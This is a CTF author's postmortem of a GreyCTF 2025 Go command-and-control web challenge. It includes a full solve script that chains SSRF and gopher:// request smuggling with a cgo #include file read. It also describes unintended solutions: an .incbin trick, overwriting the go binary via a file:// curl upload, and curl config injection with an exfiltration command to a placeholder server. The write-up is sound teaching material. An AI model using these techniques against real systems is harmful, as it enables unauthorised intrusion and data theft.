C2 Postmortem
C2 was a web challenge that I wrote for GreyCTF qualifiers 2025. I think it is quite an interesting and realistic scenario, based on what I have observed from analyzing real C2 servers.
When I wrote this challenge, I was expecting a few unintended solutions, as the attack surface was quite massive. However, I did not expect that an unintended solution would take down the entire challenge 😭
As a result of this, one of the two challenge instances was down for about 2 hours during the CTF.
21 teams (out of 1k+) solved this challenge over 24 hours.
Overview
The challenge consists of a Golang command and control server that stores exfiltrated information from infected clients. It also allows the admin to send a Golang payload, that will be compiled on the server and sent to the victim to be executed. This second functionality is only accessible from localhost
:
func isLocalhost(req *http.Request) bool {
if req == nil {
return false
}
host, _, err := net.SplitHostPort(req.RemoteAddr)
if err != nil {
return false
}
return host == "127.0.0.1" || host == "::1" || host == "[::1]"
}
func adminOnly(next http.HandlerFunc) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
if !isLocalhost(r) {
w.WriteHeader(http.StatusUnauthorized)
fmt.Fprintln(w, "Only admins can access this page!")
return
}
next(w, r)
})
}
Much of the functionality is implemented using executing commands, using the executeCommandWithTimeout
function:
func executeCommandWithTimeout(name string, args ...string) error {
ctx, cancel := context.WithTimeout(context.Background(), time.Second*10)
defer cancel()
cmd := exec.CommandContext(ctx, name, args...)
cmd.Dir = os.TempDir()
return cmd.Run()
}
This function executes commands relatively safely, preventing command injection attacks.
As part of the registration process, the agentUrl
is checked by sending a HTTP request to it using curl
:
func handleRegistration(w http.ResponseWriter, req *http.Request) {
var reg agent
body := http.MaxBytesReader(w, req.Body, 0x1000)
err := json.NewDecoder(body).Decode(®)
if err != nil {
w.WriteHeader(http.StatusBadRequest)
fmt.Fprintln(w, "Invalid JSON")
return
}
log.Printf("%v: %v\n", req.RemoteAddr, reg.AgentUrl)
err = executeCommandWithTimeout("curl", reg.AgentUrl)
if err != nil {
w.WriteHeader(http.StatusBadRequest)
fmt.Fprintln(w, "Failed to connect with C2 agent")
return
}
agentId := uuid.NewString()
agentLock.Lock()
defer agentLock.Unlock()
agents[agentId] = ®
fmt.Fprint(w, agentId)
}
This is a classic SSRF vulnerability that will allow us to bypass the admin protection, as we can send HTTP requests to the C2 server that originates from localhost
. Additionally, those familiar with the curl
command will be aware that it can do much more than send HTTP requests. For example, using the gopher://
protocol, curl
can send arbitrary data to any TCP port.
Now, let's examine the second functionality of the C2 server, which is to compile and send payloads to the victims:
// Error handling and cleanup removed for brevity
func handleExec(w http.ResponseWriter, r *http.Request) {
agentLock.RLock()
defer agentLock.RUnlock()
agentId := r.PathValue("id")
agent, ok := agents[agentId]
body := http.MaxBytesReader(w, r.Body, 0x1000)
defer body.Close()
dir, err := os.MkdirTemp("", "c2_")
fname := fmt.Sprintf("%s/main.go", dir)
binName := fmt.Sprintf("%s/main", dir)
f, err := os.Create(fname)
f.ReadFrom(body)
err = executeCommandWithTimeout("go", "build", "-ldflags", "-s -w", "-o", binName, fname)
agentExecUrl := fmt.Sprintf("%s/exec", agent.AgentUrl)
err = executeCommandWithTimeout("curl", "-T", binName, agentExecUrl)
fmt.Fprintln(w, "Payload sent to victim!")
}
Basically, the Golang code supplied by the admin is written to main.go
in a subdirectory of /tmp
. This main.go
file is then compiled into main
, which is then sent to the victim via curl -T main {victimAgentUrl}
. The binary is compiled with symbols and debug info stripped to keep it relatively small (about 1MB).
Again, there is no direct command injection vulnerability here, and simply compiling code seems to be a very safe operation.
At this point, it is important to note that the flag is stored in /app/secrets/flag.go
:
package secrets
var Flag = "grey{5n34ky_60ph3r}";
Notice that the declaration of Flag
ends in ;
, which is almost never required in Go. This will be useful in a moment.
What doesn't work
Since the SSRF part of the challenge is quite "off the shelf" and not very novel, I won't discuss it at all.
Just include flag.go
One common attempted solution simply includes the ctf.nusgreyhats.org/c2/secrets
package.
package main
import (
"fmt"
"ctf.nusgreyhats.org/c2/secrets"
)
func main(){
fmt.Println(secrets.Flag)
}
Unfortunately, this doesn't work, as the go build
is performed from the /tmp
directory, which doesn't contain a go.mod
file defining the ctf.nusgreyhats.org/c2
package, which is in /app
. Without control over the go.mod
file, Go programs cannot include Go code that is outside the directory tree that the program is built in.
//go:embed flag.go
Another common attempt is using the //go:embed
directive. This allows a file to be directly embedded into the Go program as data.
package main
import (
"fmt"
_ "embed"
)
//go:embed /app/secrets/flag.go
var flag string
func main(){
fmt.Println(flag)
}
Unfortunately, Go is very strict on what patterns can be used to specify files to include. Patterns cannot start with /
, or contain the ..
path element, which effectively prevents including files outside the /tmp
folder.
CGO
A lesser known feature of Go is cgo, which allows you to call C functions from Go. Interestingly, the C code is defined in a Go comment immediately before a import "C"
statement. This is a weird case of code in comments actually getting compiled 🤔.
Intended solution
Unlike Go's restrictions on import/embed paths, C basically allows you to include any file using #include
, no matter its location on the filesystem. However, the resultant file must still be valid C code.
Let's look back at the flag.go
file:
package secrets
var Flag = "grey{5n34ky_60ph3r}";
You might notice that it is quite easy to turn this Go code to valid C using a few #define
s and/or typedef
s.
#define package
#define secrets
#define var char*
#include "/app/secrets/flag.go"
We basically remove package secrets
, and turn the var
into a string definition. The ;
at the end is crucial for this to work, as you can't insert ;
using C macros.
Here's the Python solve script:
import requests
import urllib.parse
target = "http://34.87.168.181:33203"
agent_url = "https://5cc1-103-149-46-88.ngrok-free.app"
uuid = requests.post(f"{target}/register", json={
"agentUrl": agent_url
}).text.strip()
print(uuid)
payload = r"""package main
/*
#define package
#define secrets
#define var char*
#include "/app/secrets/flag.go"
#include <stdio.h>
void printflag() {
puts(Flag);
}
*/
import "C"
func main() {
C.printflag()
}
"""
request_to_smuggle = f"""POST /agent/{uuid}/execute HTTP/1.1
Content-Length: {len(payload)}
Host: localhost:8080
""".replace("\n", "\r\n") + payload+"\r\n"
requests.post(f"{target}/register", json={
"agentUrl": "gopher://127.0.0.1:8080/_"+urllib.parse.quote(request_to_smuggle)
}).text.strip()
5/21 teams solved the challenge using this method.
(Small) unintended solution
If we go even lower level, raw assembly directives can be specified in C using __asm__
. One useful directive is .incbin
, which is used to include raw files into the data section of the compiled binary.
One team's solution was as simple as:
package main
/*
__asm__ (
".incbin \"/app/secrets/flag.go\"\n"
);
*/
import "C"
func main() {
}
I did not know about the .incbin
directive before the CTF. I guess I was too focused on including the file using C and did not consider using assembly. This is definitely a useful trick for future CTF challenges 😃
10/21 teams solved the challenge using this method.
curl
The other major attack surface is curl
. I didn't really think too much about this as the main focus was supposed to be the Go build step.
At 3.28pm SGT on the second day of the CTF, I received a report that the challenge was down. The C2 server was failing to build any Go program, even "Hello, world!". I asked the player to use the secondary challenge server, and they were able to successfully build their code using that server.
At about 4pm, I SSHed into the main challenge server and started investigating.
As the problem was related to building Go programs, I ran the go
command as a sanity check.
WTF? I'm pretty sure that's not supposed to happen. The go
binary in the challenge container had been backdoored!
I shut down the docker container and asked participants to use the secondary challenge server instead.
Arbitrary file write?
All agent URL registrations were logged, and I had been using them to track and validate the submissions made by various teams.
Examining the logs, I found an entry registering file:///usr/local/go/bin/go?
as an agent URL, 2 minutes before UniverSea solved the challenge:
Well, clearly this has got something to do with the backdoored go
. But how?
The compiled Go file is uploaded to the agent using:
agentExecUrl := fmt.Sprintf("%s/exec", agent.AgentUrl)
err = executeCommandWithTimeout("curl", "-T", binName, agentExecUrl)
However, there is no restriction that agentExecUrl
has to be a HTTP URL! If a file://
URL is specified, the compiled payload will be moved to that file instead (the ?
prevents the appended /exec
messing things up)! Since the C2 server runs as root, it will be allowed to write to /usr/local/go/bin/go
.
Now that the user has control over the go
binary, the next time a Go program is compiled, their code will be run, allowing them to exfiltrate the flag.
I won't go into the details of how their exploit worked, but I will link to their writeup if I can find it.
4/21 teams solved the challenge using this method.
Patch
To prevent service disruption via overwriting the go
binary, two lines were added to the Dockerfile
to restrict the C2 server's ability to write files:
RUN adduser c2
USER c2
By 4.40pm, the patch was in place and tested, the the challenge was brought back online.
In hindsight, running as root was never a good idea.
curl config
A relatively well known attack surface of curl
is the -K
option, which can be used to read configuration options from a file. I knew of this before the CTF, but I considered it unlikely to be exploitable as a file write primitive is required before this can be exploited.
As it turns out, we do in fact have a file write primitive, in the form of the main.go
file that is written to the /tmp/c2_XXXXX/
folder. However, how would we know what the XXXXX
is? And how would we prevent the directory from being deleted after the request is completed?
The first question is surprisingly easy to answer. The path to main.go
is included in the output binary. A simple strings binary | grep tmp
will reveal the temp directory path. I definitely did not think of this when creating the challenge!
As for the second question, the C2 agent (your server) can just delay closing the HTTP request long enough to extract the path to main.go
, then repeat the attack, now armed with the path to a valid curl
config file.
With control over curl
's config, one can use something like curl -T /app/secrets/flag.go http://your_server
to exfiltrate the flag.
I must say that this solution is very cool and quite impressive 😄
2/21 teams solved the challenge using this method. As above, I will link to their writeups where available.
Conclusion
Despite the many unintended solutions, I believe all teams had lots of fun attempting this challenge and learning something new in the process. I certainly learnt far more than I expected from this challenge 😃